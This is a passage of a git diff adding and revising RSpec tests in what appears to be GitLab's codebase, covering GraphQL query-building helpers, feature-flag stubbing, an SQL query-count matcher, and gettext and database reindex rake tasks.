allow(Gitlab::Tracking).to receive(:event).and_call_original # rubocop:disable RSpec/ExpectGitlabTracking
end
diff --git a/spec/support_specs/graphql/arguments_spec.rb b/spec/support_specs/graphql/arguments_spec.rb
new file mode 100644
index 00000000000..ffb58503a0e
--- /dev/null
+++ b/spec/support_specs/graphql/arguments_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Graphql::Arguments do
+ it 'returns a blank string if the arguments are blank' do
+ args = described_class.new({})
+
+ expect("#{args}").to be_blank
+ end
+
+ it 'returns a serialized arguments if the arguments are not blank' do
+ units = described_class.new({ temp: :CELSIUS, time: :MINUTES })
+ args = described_class.new({ temp: 180, time: 45, units: units })
+
+ expect("#{args}").to eq('temp: 180, time: 45, units: {temp: CELSIUS, time: MINUTES}')
+ end
+
+ it 'supports merge with +' do
+ lhs = described_class.new({ a: 1, b: 2 })
+ rhs = described_class.new({ b: 3, c: 4 })
+
+ expect(lhs + rhs).to eq({ a: 1, b: 3, c: 4 })
+ end
+
+ it 'supports merge with + and a string' do
+ lhs = described_class.new({ a: 1, b: 2 })
+ rhs = 'x: no'
+
+ expect(lhs + rhs).to eq('a: 1, b: 2, x: no')
+ end
+
+ it 'supports merge with + and a string when empty' do
+ lhs = described_class.new({})
+ rhs = 'x: no'
+
+ expect(lhs + rhs).to eq('x: no')
+ end
+
+ it 'supports merge with + and an empty string' do
+ lhs = described_class.new({ a: 1 })
+ rhs = ''
+
+ expect(lhs + rhs).to eq({ a: 1 })
+ end
+
+ it 'serializes all values correctly' do
+ args = described_class.new({
+ array: [1, 2.5, "foo", nil, true, false, :BAR, { power: :on }],
+ hash: { a: 1, b: 2, c: 3 },
+ int: 42,
+ float: 2.7,
+ string: %q[he said "no"],
+ enum: :OFF,
+ null: nil, # we expect this to be omitted - absence is the same as explicit nullness
+ bool_true: true,
+ bool_false: false,
+ var: ::Graphql::Var.new('x', 'Int')
+ })
+
+ expect(args.to_s).to eq([
+ %q(array: [1,2.5,"foo",null,true,false,BAR,{power: on}]),
+ %q(hash: {a: 1, b: 2, c: 3}),
+ 'int: 42, float: 2.7',
+ %q(string: "he said \\"no\\""),
+ 'enum: OFF',
+ 'boolTrue: true, boolFalse: false',
+ 'var: $x'
+ ].join(', '))
+ end
+end
diff --git a/spec/support_specs/graphql/field_selection_spec.rb b/spec/support_specs/graphql/field_selection_spec.rb
new file mode 100644
index 00000000000..8818e59e598
--- /dev/null
+++ b/spec/support_specs/graphql/field_selection_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Graphql::FieldSelection do
+ it 'can report on the paths that are selected' do
+ selection = described_class.new({
+ 'foo' => nil,
+ 'bar' => nil,
+ 'quux' => {
+ 'a' => nil,
+ 'b' => { 'x' => nil, 'y' => nil }
+ },
+ 'qoox' => {
+ 'q' => nil,
+ 'r' => { 's' => { 't' => nil } }
+ }
+ })
+
+ expect(selection.paths).to include(
+ %w[foo],
+ %w[quux a],
+ %w[quux b x],
+ %w[qoox r s t]
+ )
+ end
+
+ it 'can serialize a field selection nicely' do
+ selection = described_class.new({
+ 'foo' => nil,
+ 'bar' => nil,
+ 'quux' => {
+ 'a' => nil,
+ 'b' => { 'x' => nil, 'y' => nil }
+ },
+ 'qoox' => {
+ 'q' => nil,
+ 'r' => { 's' => { 't' => nil } }
+ }
+ })
+
+ expect(selection.to_s).to eq(<<~FRAG.strip)
+ foo
+ bar
+ quux {
+ a
+ b {
+ x
+ y
+ }
+ }
+ qoox {
+ q
+ r {
+ s {
+ t
+ }
+ }
+ }
+ FRAG
+ end
+end
diff --git a/spec/support_specs/graphql/var_spec.rb b/spec/support_specs/graphql/var_spec.rb
new file mode 100644
index 00000000000..f708f01a11e
--- /dev/null
+++ b/spec/support_specs/graphql/var_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Graphql::Var do
+ subject(:var) { described_class.new('foo', 'Int') }
+
+ it 'associates a name with a type and an initially empty value' do
+ expect(var).to have_attributes(
+ name: 'foo',
+ type: 'Int',
+ value: be_nil
+ )
+ end
+
+ it 'has a correct signature' do
+ expect(var).to have_attributes(sig: '$foo: Int')
+ end
+
+ it 'implements to_graphql_value as $name' do
+ expect(var.to_graphql_value).to eq('$foo')
+ end
+
+ it 'can set a value using with, returning a new object' do
+ with_value = var.with(42)
+
+ expect(with_value).to have_attributes(name: 'foo', type: 'Int', value: 42)
+ expect(var).to have_attributes(value: be_nil)
+ end
+
+ it 'returns an object suitable for passing to post_graphql(variables:)' do
+ expect(var.with(17).to_h).to eq('foo' => 17)
+ end
+end
diff --git a/spec/support_specs/helpers/graphql_helpers_spec.rb b/spec/support_specs/helpers/graphql_helpers_spec.rb
index bc777621674..a9fe5b8d196 100644
--- a/spec/support_specs/helpers/graphql_helpers_spec.rb
+++ b/spec/support_specs/helpers/graphql_helpers_spec.rb
@@ -5,6 +5,278 @@ require 'spec_helper'
RSpec.describe GraphqlHelpers do
include GraphqlHelpers
+ # Normalize irrelevant whitespace to make comparison easier
+ def norm(query)
+ query.tr("\n", ' ').gsub(/\s+/, ' ').strip
+ end
+
+ describe 'graphql_dig_at' do
+ it 'transforms symbol keys to graphql field names' do
+ data = { 'camelCased' => 'names' }
+
+ expect(graphql_dig_at(data, :camel_cased)).to eq('names')
+ end
+
+ it 'supports integer indexing' do
+ data = { 'array' => [:boom, { 'id' => :hooray! }, :boom] }
+
+ expect(graphql_dig_at(data, :array, 1, :id)).to eq(:hooray!)
+ end
+
+ it 'gracefully degrades to nil' do
+ data = { 'project' => { 'mergeRequest' => nil } }
+
+ expect(graphql_dig_at(data, :project, :merge_request, :id)).to be_nil
+ end
+
+ it 'supports implicitly flat-mapping traversals' do
+ data = {
+ 'foo' => {
+ 'nodes' => [
+ { 'bar' => { 'nodes' => [{ 'id' => 1 }, { 'id' => 2 }] } },
+ { 'bar' => { 'nodes' => [{ 'id' => 3 }, { 'id' => 4 }] } },
+ { 'bar' => nil }
+ ]
+ },
+ 'irrelevant' => 'the field is a red-herring'
+ }
+
+ expect(graphql_dig_at(data, :foo, :nodes, :bar, :nodes, :id)).to eq([1, 2, 3, 4])
+ end
+ end
+
+ describe 'var' do
+ it 'allocates a fresh name for each var' do
+ a = var('Int')
+ b = var('Int')
+
+ expect(a.name).not_to eq(b.name)
+ end
+
+ it 'can be used to construct correct signatures' do
+ a = var('Int')
+ b = var('String!')
+
+ q = with_signature([a, b], '{ foo bar }')
+
+ expect(q).to eq("query(#{a.to_graphql_value}: Int, #{b.to_graphql_value}: String!) { foo bar }")
+ end
+
+ it 'can be used to pass arguments to fields' do
+ a = var('ID!')
+
+ q = graphql_query_for(:project, { full_path: a }, :id)
+
+ expect(norm(q)).to eq("{ project(fullPath: #{a.to_graphql_value}){ id } }")
+ end
+
+ it 'can associate values with variables' do
+ a = var('Int')
+
+ expect(a.with(3).to_h).to eq(a.name => 3)
+ end
+
+ it 'does not mutate the variable when providing a value' do
+ a = var('Int')
+ three = a.with(3)
+
+ expect(three.value).to eq(3)
+ expect(a.value).to be_nil
+ end
+
+ it 'can associate many values with variables' do
+ a = var('Int').with(3)
+ b = var('String').with('foo')
+
+ expect(serialize_variables([a, b])).to eq({ a.name => 3, b.name => 'foo' }.to_json)
+ end
+ end
+
+ describe '.query_nodes' do
+ it 'can produce a basic connection selection' do
+ selection = query_nodes(:users)
+
+ expected = query_graphql_path([:users, :nodes], all_graphql_fields_for('User', max_depth: 1))
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'allows greater depth' do
+ selection = query_nodes(:users, max_depth: 2)
+
+ expected = query_graphql_path([:users, :nodes], all_graphql_fields_for('User', max_depth: 2))
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'accepts fields' do
+ selection = query_nodes(:users, :id)
+
+ expected = query_graphql_path([:users, :nodes], :id)
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'accepts arguments' do
+ args = { username: 'foo' }
+ selection = query_nodes(:users, args: args)
+
+ expected = query_graphql_path([[:users, args], :nodes], all_graphql_fields_for('User', max_depth: 1))
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'accepts arguments and fields' do
+ selection = query_nodes(:users, :id, args: { username: 'foo' })
+
+ expected = query_graphql_path([[:users, { username: 'foo' }], :nodes], :id)
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'accepts explicit type name' do
+ selection = query_nodes(:members, of: 'User')
+
+ expected = query_graphql_path([:members, :nodes], all_graphql_fields_for('User', max_depth: 1))
+
+ expect(selection).to eq(expected)
+ end
+
+ it 'can optionally provide pagination info' do
+ selection = query_nodes(:users, include_pagination_info: true)
+
+ expected = query_graphql_path([:users, "#{page_info_selection} nodes"], all_graphql_fields_for('User', max_depth: 1))
+
+ expect(selection).to eq(expected)
+ end
+ end
+
+ describe '.query_graphql_path' do
+ it 'can build nested paths' do
+ selection = query_graphql_path(%i[foo bar wibble_wobble], :id)
+
+ expected = norm(<<-GQL)
+ foo{
+ bar{
+ wibbleWobble{
+ id
+ }
+ }
+ }
+ GQL
+
+ expect(norm(selection)).to eq(expected)
+ end
+
+ it 'can insert arguments at any point' do
+ selection = query_graphql_path(
+ [:foo, [:bar, { quux: true }], [:wibble_wobble, { eccentricity: :HIGH }]],
+ :id
+ )
+
+ expected = norm(<<-GQL)
+ foo{
+ bar(quux: true){
+ wibbleWobble(eccentricity: HIGH){
+ id
+ }
+ }
+ }
+ GQL
+
+ expect(norm(selection)).to eq(expected)
+ end
+ end
+
+ describe '.attributes_to_graphql' do
+ it 'can serialize hashes to literal arguments' do
+ x = var('Int')
+ args = {
+ an_array: [1, nil, "foo", true, [:foo, :bar]],
+ a_hash: {
+ nested: true,
+ value: "bar"
+ },
+ an_int: 42,
+ a_float: 0.1,
+ a_string: "wibble",
+ an_enum: :LOW,
+ null: nil,
+ a_bool: false,
+ a_var: x
+ }
+
+ literal = attributes_to_graphql(args)
+
+ expect(norm(literal)).to eq(norm(<<~EXP))
+ anArray: [1,null,"foo",true,[foo,bar]],
+ aHash: {nested: true, value: "bar"},
+ anInt: 42,
+ aFloat: 0.1,
+ aString: "wibble",
+ anEnum: LOW,
+ aBool: false,
+ aVar: #{x.to_graphql_value}
+ EXP
+ end
+ end
+
+ describe '.all_graphql_fields_for' do
+ it 'returns a FieldSelection' do
+ selection = all_graphql_fields_for('User', max_depth: 1)
+
+ expect(selection).to be_a(::Graphql::FieldSelection)
+ end
+
+ it 'returns nil if the depth is too shallow' do
+ selection = all_graphql_fields_for('User', max_depth: 0)
+
+ expect(selection).to be_nil
+ end
+
+ it 'can select just the scalar fields' do
+ selection = all_graphql_fields_for('User', max_depth: 1)
+ paths = selection.paths.map(&:join)
+
+ # A sample, tested using include to save churn as fields are added
+ expect(paths)
+ .to include(*%w[avatarUrl email groupCount id location name state username webPath webUrl])
+
+ expect(selection.paths).to all(have_attributes(size: 1))
+ end
+
+ it 'selects only as far as 3 levels by default' do
+ selection = all_graphql_fields_for('User')
+
+ expect(selection.paths).to all(have_attributes(size: (be <= 3)))
+
+ # Representative sample
+ expect(selection.paths).to include(
+ %w[userPermissions createSnippet],
+ %w[todos nodes id],
+ %w[starredProjects nodes name],
+ %w[authoredMergeRequests count],
+ %w[assignedMergeRequests pageInfo startCursor]
+ )
+ end
+
+ it 'selects only as far as requested' do
+ selection = all_graphql_fields_for('User', max_depth: 2)
+
+ expect(selection.paths).to all(have_attributes(size: (be <= 2)))
+ end
+
+ it 'omits fields that have required arguments' do
+ selection = all_graphql_fields_for('DesignCollection', max_depth: 3)
+
+ expect(selection.paths).not_to be_empty
+
+ expect(selection.paths).not_to include(
+ %w[designAtVersion id]
+ )
+ end
+ end
+
describe '.graphql_mutation' do
shared_examples 'correct mutation definition' do
it 'returns correct mutation definition' do
@@ -15,7 +287,7 @@ RSpec.describe GraphqlHelpers do
}
}
MUTATION
- variables = %q({"updateAlertStatusInput":{"projectPath":"test/project"}})
+ variables = { "updateAlertStatusInput" => { "projectPath" => "test/project" } }
is_expected.to eq(GraphqlHelpers::MutationDefinition.new(query, variables))
end
diff --git a/spec/support_specs/helpers/stub_feature_flags_spec.rb b/spec/support_specs/helpers/stub_feature_flags_spec.rb
index 57dd3015f5e..8629e895fd1 100644
--- a/spec/support_specs/helpers/stub_feature_flags_spec.rb
+++ b/spec/support_specs/helpers/stub_feature_flags_spec.rb
@@ -5,19 +5,20 @@ require 'spec_helper'
RSpec.describe StubFeatureFlags do
let_it_be(:dummy_feature_flag) { :dummy_feature_flag }
- # We inject dummy feature flag defintion
- # to ensure that we strong validate it's usage
- # as well
- before(:all) do
- definition = Feature::Definition.new(
+ let_it_be(:dummy_definition) do
+ Feature::Definition.new(
nil,
name: dummy_feature_flag,
type: 'development',
- # we allow ambigious usage of `default_enabled:`
- default_enabled: [false, true]
+ default_enabled: false
)
+ end
- Feature::Definition.definitions[dummy_feature_flag] = definition
+ # We inject dummy feature flag defintion
+ # to ensure that we strong validate it's usage
+ # as well
+ before(:all) do
+ Feature::Definition.definitions[dummy_feature_flag] = dummy_definition
end
after(:all) do
@@ -47,6 +48,10 @@ RSpec.describe StubFeatureFlags do
it { expect(Feature.disabled?(feature_name)).not_to eq(expected_result) }
context 'default_enabled does not impact feature state' do
+ before do
+ allow(dummy_definition).to receive(:default_enabled).and_return(true)
+ end
+
it { expect(Feature.enabled?(feature_name, default_enabled: true)).to eq(expected_result) }
it { expect(Feature.disabled?(feature_name, default_enabled: true)).not_to eq(expected_result) }
end
@@ -79,6 +84,10 @@ RSpec.describe StubFeatureFlags do
it { expect(Feature.disabled?(feature_name, actor(tested_actor))).not_to eq(expected_result) }
context 'default_enabled does not impact feature state' do
+ before do
+ allow(dummy_definition).to receive(:default_enabled).and_return(true)
+ end
+
it { expect(Feature.enabled?(feature_name, actor(tested_actor), default_enabled: true)).to eq(expected_result) }
it { expect(Feature.disabled?(feature_name, actor(tested_actor), default_enabled: true)).not_to eq(expected_result) }
end
diff --git a/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb b/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
index 15b846f28cb..6d8d9ba0754 100644
--- a/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
+++ b/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
@@ -22,6 +22,232 @@ RSpec.describe ExceedQueryLimitHelpers do
end
end
+ describe '#diff_query_group_message' do
+ it 'prints a group helpfully' do
+ test_matcher = TestMatcher.new
+ suffixes = {
+ 'WHERE x = z' => [1, 1],
+ 'WHERE x = y' => [1, 2],
+ 'LIMIT 1' => [1, 0]
+ }
+
+ message = test_matcher.diff_query_group_message('SELECT * FROM foo', suffixes)
+
+ expect(message).to eq(<<~MSG.chomp)
+ SELECT * FROM foo...
+ -- (expected: 1, got: 1)
+ WHERE x = z
+ -- (expected: 1, got: 2)
+ WHERE x = y
+ -- (expected: 1, got: 0)
+ LIMIT 1
+ MSG
+ end
+ end
+
+ describe '#diff_query_counts' do
+ let(:expected) do
+ ActiveRecord::QueryRecorder.new do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.count
+ TestQueries.first
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'x').update_all(version: 'y')
+ TestQueries.where(version: 'foobar').count
+ TestQueries.where(version: 'z').delete_all
+ end
+ end
+
+ let(:actual) do
+ ActiveRecord::QueryRecorder.new do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.count
+ TestQueries.create!(version: 'x')
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'x').update_all(version: 'y')
+ TestQueries.where(version: 'foobar').count
+ TestQueries.count
+ TestQueries.where(version: 'y').update_all(version: 'z')
+ TestQueries.where(version: 'z').delete_all
+ end
+ end
+
+ it 'merges two query counts' do
+ test_matcher = TestMatcher.new
+
+ diff = test_matcher.diff_query_counts(
+ test_matcher.count_queries(expected),
+ test_matcher.count_queries(actual)
+ )
+
+ expect(diff).to eq({
+ "SELECT \"schema_migrations\".* FROM \"schema_migrations\"" => {
+ "ORDER BY \"schema_migrations\".\"version\" ASC LIMIT 1" => [1, 0]
+ },
+ "SELECT COUNT(*) FROM \"schema_migrations\"" => { "" => [1, 2] },
+ "UPDATE \"schema_migrations\"" => {
+ "SET \"version\" = 'z' WHERE \"schema_migrations\".\"version\" = 'y'" => [0, 1]
+ },
+ "SAVEPOINT active_record_1" => { "" => [0, 1] },
+ "INSERT INTO \"schema_migrations\" (\"version\")" => {
+ "VALUES ('x') RETURNING \"version\"" => [0, 1]
+ },
+ "RELEASE SAVEPOINT active_record_1" => { "" => [0, 1] }
+ })
+ end
+
+ it 'can show common queries if so desired' do
+ test_matcher = TestMatcher.new.show_common_queries
+
+ diff = test_matcher.diff_query_counts(
+ test_matcher.count_queries(expected),
+ test_matcher.count_queries(actual)
+ )
+
+ expect(diff).to eq({
+ "SELECT \"schema_migrations\".* FROM \"schema_migrations\"" => {
+ "WHERE \"schema_migrations\".\"version\" = 'foobar'" => [2, 2],
+ "WHERE \"schema_migrations\".\"version\" = 'also foobar and baz'" => [1, 1],
+ "ORDER BY \"schema_migrations\".\"version\" ASC LIMIT 1" => [1, 0]
+ },
+ "SELECT COUNT(*) FROM \"schema_migrations\"" => {
+ "" => [1, 2],
+ "WHERE \"schema_migrations\".\"version\" = 'foobar'" => [1, 1]
+ },
+ "UPDATE \"schema_migrations\"" => {
+ "SET \"version\" = 'y' WHERE \"schema_migrations\".\"version\" = 'x'" => [1, 1],
+ "SET \"version\" = 'z' WHERE \"schema_migrations\".\"version\" = 'y'" => [0, 1]
+ },
+ "DELETE FROM \"schema_migrations\"" => {
+ "WHERE \"schema_migrations\".\"version\" = 'z'" => [1, 1]
+ },
+ "SAVEPOINT active_record_1" => {
+ "" => [0, 1]
+ },
+ "INSERT INTO \"schema_migrations\" (\"version\")" => {
+ "VALUES ('x') RETURNING \"version\"" => [0, 1]
+ },
+ "RELEASE SAVEPOINT active_record_1" => {
+ "" => [0, 1]
+ }
+ })
+ end
+ end
+
+ describe '#count_queries' do
+ it 'handles queries with suffixes over multiple lines' do
+ test_matcher = TestMatcher.new
+
+ recorder = ActiveRecord::QueryRecorder.new do
+ TestQueries.find_by(version: %w(foo bar baz).join("\n"))
+ TestQueries.find_by(version: %w(foo biz baz).join("\n"))
+ TestQueries.find_by(version: %w(foo bar baz).join("\n"))
+ end
+
+ recorder.count
+
+ expect(test_matcher.count_queries(recorder)).to eq({
+ 'SELECT "schema_migrations".* FROM "schema_migrations"' => {
+ %Q[WHERE "schema_migrations"."version" = 'foo\nbar\nbaz' LIMIT 1] => 2,
+ %Q[WHERE "schema_migrations"."version" = 'foo\nbiz\nbaz' LIMIT 1] => 1
+ }
+ })
+ end
+
+ it 'can aggregate queries' do
+ test_matcher = TestMatcher.new
+
+ recorder = ActiveRecord::QueryRecorder.new do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.count
+ TestQueries.create!(version: 'x')
+ TestQueries.first
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'x').update_all(version: 'y')
+ TestQueries.where(version: 'foobar').count
+ TestQueries.count
+ TestQueries.where(version: 'y').update_all(version: 'z')
+ TestQueries.where(version: 'z').delete_all
+ end
+
+ recorder.count
+
+ expect(test_matcher.count_queries(recorder)).to eq({
+ 'SELECT "schema_migrations".* FROM "schema_migrations"' => {
+ %q[WHERE "schema_migrations"."version" = 'foobar'] => 2,
+ %q[WHERE "schema_migrations"."version" = 'also foobar and baz'] => 1,
+ %q[ORDER BY "schema_migrations"."version" ASC LIMIT 1] => 1
+ },
+ 'SELECT COUNT(*) FROM "schema_migrations"' => {
+ "" => 2,
+ %q[WHERE "schema_migrations"."version" = 'foobar'] => 1
+ },
+ 'SAVEPOINT active_record_1' => { "" => 1 },
+ 'INSERT INTO "schema_migrations" ("version")' => {
+ %q[VALUES ('x') RETURNING "version"] => 1
+ },
+ 'RELEASE SAVEPOINT active_record_1' => { "" => 1 },
+ 'UPDATE "schema_migrations"' => {
+ %q[SET "version" = 'y' WHERE "schema_migrations"."version" = 'x'] => 1,
+ %q[SET "version" = 'z' WHERE "schema_migrations"."version" = 'y'] => 1
+ },
+ 'DELETE FROM "schema_migrations"' => {
+ %q[WHERE "schema_migrations"."version" = 'z'] => 1
+ }
+ })
+ end
+ end
+
+ it 'can count queries' do
+ test_matcher = TestMatcher.new
+ test_matcher.verify_count do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.first
+ TestQueries.count
+ end
+
+ expect(test_matcher.actual_count).to eq(4)
+ end
+
+ it 'can select specific queries' do
+ test_matcher = TestMatcher.new.for_query(/foobar/)
+ test_matcher.verify_count do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.first
+ TestQueries.count
+ end
+
+ expect(test_matcher.actual_count).to eq(2)
+ end
+
+ it 'can ignore specific queries' do
+ test_matcher = TestMatcher.new.ignoring(/foobar/)
+ test_matcher.verify_count do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.first
+ end
+
+ expect(test_matcher.actual_count).to eq(1)
+ end
+
+ it 'can perform inclusion and exclusion' do
+ test_matcher = TestMatcher.new.for_query(/foobar/).ignoring(/baz/)
+ test_matcher.verify_count do
+ TestQueries.where(version: 'foobar').to_a
+ TestQueries.where(version: 'also foobar and baz').to_a
+ TestQueries.first
+ TestQueries.count
+ end
+
+ expect(test_matcher.actual_count).to eq(1)
+ end
+
it 'does not contain marginalia annotations' do
test_matcher = TestMatcher.new
test_matcher.verify_count do
diff --git a/spec/tasks/gettext_rake_spec.rb b/spec/tasks/gettext_rake_spec.rb
new file mode 100644
index 00000000000..a535ac92a75
--- /dev/null
+++ b/spec/tasks/gettext_rake_spec.rb
@@ -0,0 +1,177 @@
+# frozen_string_literal: true
+
+require "rake_helper"
+
+RSpec.describe 'gettext' do
+ let(:locale_path) { Rails.root.join('tmp/gettext_spec') }
+ let(:pot_file_path) { File.join(locale_path, 'gitlab.pot') }
+
+ before do
+ Rake.application.rake_require('tasks/gettext')
+
+ FileUtils.rm_r(locale_path) if Dir.exist?(locale_path)
+ FileUtils.mkdir_p(locale_path)
+
+ allow(Rails.root).to receive(:join).and_call_original
+ allow(Rails.root).to receive(:join).with('locale').and_return(locale_path)
+ end
+
+ after do
+ FileUtils.rm_r(locale_path) if Dir.exist?(locale_path)
+ end
+
+ describe ':compile' do
+ before do
+ allow(Rake::Task).to receive(:[]).and_call_original
+ end
+
+ it 'creates a pot file and invokes the \'gettext:po_to_json\' task' do
+ expect(Rake::Task).to receive(:[]).with('gettext:po_to_json').and_return(double(invoke: true))
+
+ expect { run_rake_task('gettext:compile') }
+ .to change { File.exist?(pot_file_path) }
+ .to be_truthy
+ end
+ end
+
+ describe ':regenerate' do
+ before do
+ # this task takes a *really* long time to complete, so stub it for the spec
+ allow(Rake::Task['gettext:find']).to receive(:invoke) { invoke_find.call }
+ end
+
+ context 'when the locale folder is not found' do
+ let(:invoke_find) { -> { true } }
+
+ before do
+ FileUtils.rm_r(locale_path) if Dir.exist?(locale_path)
+ end
+
+ it 'raises an error' do
+ expect { run_rake_task('gettext:regenerate') }
+ .to raise_error(/Cannot find '#{locale_path}' folder/)
+ end
+ end
+
+ context 'where there are existing /**/gitlab.po files' do
+ let(:locale_nz_path) { File.join(locale_path, 'en_NZ') }
+ let(:po_file_path) { File.join(locale_nz_path, 'gitlab.po') }
+
+ let(:invoke_find) { -> { File.write pot_file_path, 'pot file test updates' } }
+
+ before do
+ FileUtils.mkdir(locale_nz_path)
+ File.write(po_file_path, fixture_file('valid.po'))
+ end
+
+ it 'does not remove that locale' do
+ expect { run_rake_task('gettext:regenerate') }
+ .not_to change { Dir.exist?(locale_nz_path) }
+ end
+ end
+
+ context 'when there are locale folders without a gitlab.po file' do
+ let(:empty_locale_path) { File.join(locale_path, 'en_NZ') }
+
+ let(:invoke_find) { -> { File.write pot_file_path, 'pot file test updates' } }
+
+ before do
+ FileUtils.mkdir(empty_locale_path)
+ end
+
+ it 'removes those folders' do
+ expect { run_rake_task('gettext:regenerate') }
+ .to change { Dir.exist?(empty_locale_path) }
+ .to eq false
+ end
+ end
+
+ context 'when the gitlab.pot file cannot be generated' do
+ let(:invoke_find) { -> { true } }
+
+ it 'prints an error' do
+ expect { run_rake_task('gettext:regenerate') }
+ .to raise_error(/gitlab.pot file not generated/)
+ end
+ end
+
+ context 'when gettext:find changes the revision dates' do
+ let(:invoke_find) { -> { File.write pot_file_path, fixture_file('valid.po') } }
+
+ before do
+ File.write pot_file_path, fixture_file('valid.po')
+ end
+
+ it 'resets the changes' do
+ pot_file = File.read(pot_file_path)
+ expect(pot_file).to include('PO-Revision-Date: 2017-07-13 12:10-0500')
+ expect(pot_file).to include('PO-Creation-Date: 2016-07-13 12:11-0500')
+
+ run_rake_task('gettext:regenerate')
+
+ pot_file = File.read(pot_file_path)
+ expect(pot_file).not_to include('PO-Revision-Date: 2017-07-13 12:10-0500')
+ expect(pot_file).not_to include('PO-Creation-Date: 2016-07-13 12:11-0500')
+ end
+ end
+ end
+
+ describe ':lint' do
+ before do
+ # make sure we test on the fixture files, not the actual gitlab repo as
+ # this takes a long time
+ allow(Rails.root)
+ .to receive(:join)
+ .with('locale/*/gitlab.po')
+ .and_return(File.join(locale_path, '*/gitlab.po'))
+ end
+
+ context 'when all PO files are valid' do
+ before do
+ nz_locale_path = File.join(locale_path, 'en_NZ')
+ FileUtils.mkdir(nz_locale_path)
+
+ po_file_path = File.join(nz_locale_path, 'gitlab.po')
+ File.write(po_file_path, fixture_file('valid.po'))
+ File.write(pot_file_path, fixture_file('valid.po'))
+ end
+
+ it 'completes without error' do
+ expect { run_rake_task('gettext:lint') }
+ .not_to raise_error
+ end
+ end
+
+ context 'when there are invalid PO files' do
+ before do
+ nz_locale_path = File.join(locale_path, 'en_NZ')
+ FileUtils.mkdir(nz_locale_path)
+
+ po_file_path = File.join(nz_locale_path, 'gitlab.po')
+ File.write(po_file_path, fixture_file('invalid.po'))
+ File.write(pot_file_path, fixture_file('valid.po'))
+ end
+
+ it 'raises an error' do
+ expect { run_rake_task('gettext:lint') }
+ .to raise_error(/Not all PO-files are valid/)
+ end
+ end
+
+ context 'when the .pot file is invalid' do
+ before do
+ nz_locale_path = File.join(locale_path, 'en_NZ')
+ FileUtils.mkdir(nz_locale_path)
+
+ po_file_path = File.join(nz_locale_path, 'gitlab.po')
+ File.write(po_file_path, fixture_file('valid.po'))
+ File.write(pot_file_path, fixture_file('invalid.po'))
+ end
+
+ it 'raises an error' do
+ expect { run_rake_task('gettext:lint') }
+ .to raise_error(/Not all PO-files are valid/)
+ end
+ end
+ end
+end
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index 046e066a45f..edfdb44022b 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -129,7 +129,7 @@ RSpec.describe 'gitlab:db namespace rake task' do
let(:output) { StringIO.new }
before do
- allow(File).to receive(:read).with(structure_file).and_return(input)
+ stub_file_read(structure_file, content: input)
allow(File).to receive(:open).with(structure_file, any_args).and_yield(output)
end
@@ -235,8 +235,8 @@ RSpec.describe 'gitlab:db namespace rake task' do
let(:indexes) { double('indexes') }
context 'when no index_name is given' do
- it 'rebuilds a random number of large indexes' do
- expect(Gitlab::Database::Reindexing).to receive_message_chain('candidate_indexes.random_few').and_return(indexes)
+ it 'uses all candidate indexes' do
+ expect(Gitlab::Database::Reindexing).to receive(:candidate_indexes).and_return(indexes)
expect(Gitlab::Database::Reindexing).to receive(:perform).with(indexes)
run_rake_task('gitlab:db:reindex')
@@ -246,17 +246,53 @@ RSpec.describe 'gitlab:db namespace rake task' do
context 'with index name given' do
let(:index) { double('index') }
+ before do
+ allow(Gitlab::Database::Reindexing).to receive(:candidate_indexes).and_return(indexes)
+ end
+
it 'calls the index rebuilder with the proper arguments' do
- expect(Gitlab::Database::PostgresIndex).to receive(:by_identifier).with('public.foo_idx').and_return(index)
+ allow(indexes).to receive(:where).with(identifier: 'public.foo_idx').and_return([index])
expect(Gitlab::Database::Reindexing).to receive(:perform).with([index])
run_rake_task('gitlab:db:reindex', '[public.foo_idx]')
end
it 'raises an error if the index does not exist' do
- expect(Gitlab::Database::PostgresIndex).to receive(:by_identifier).with('public.absent_index').and_raise(ActiveRecord::RecordNotFound)
+ allow(indexes).to receive(:where).with(identifier: 'public.absent_index').and_return([])
+
+ expect { run_rake_task('gitlab:db:reindex', '[public.absent_index]') }.to raise_error(/Index not found/)
+ end
+
+ it 'raises an error if the index is not fully qualified with a schema' do
+ expect { run_rake_task('gitlab:db:reindex', '[foo_idx]') }.to raise_error(/Index name is not fully qualified/)
+ end
+ end
+ end
+
+ describe 'active' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:task) { 'gitlab:db:active' }
+ let(:self_monitoring) { double('self_monitoring') }
- expect { run_rake_task('gitlab:db:reindex', '[public.absent_index]') }.to raise_error(ActiveRecord::RecordNotFound)
+ where(:needs_migration, :self_monitoring_project, :project_count, :exit_status, :exit_code) do
+ true | nil | nil | 1 | false
+ false | :self_monitoring | 1 | 1 | false
+ false | nil | 0 | 1 | false
+ false | :self_monitoring | 2 | 0 | true
+ end
+
+ with_them do
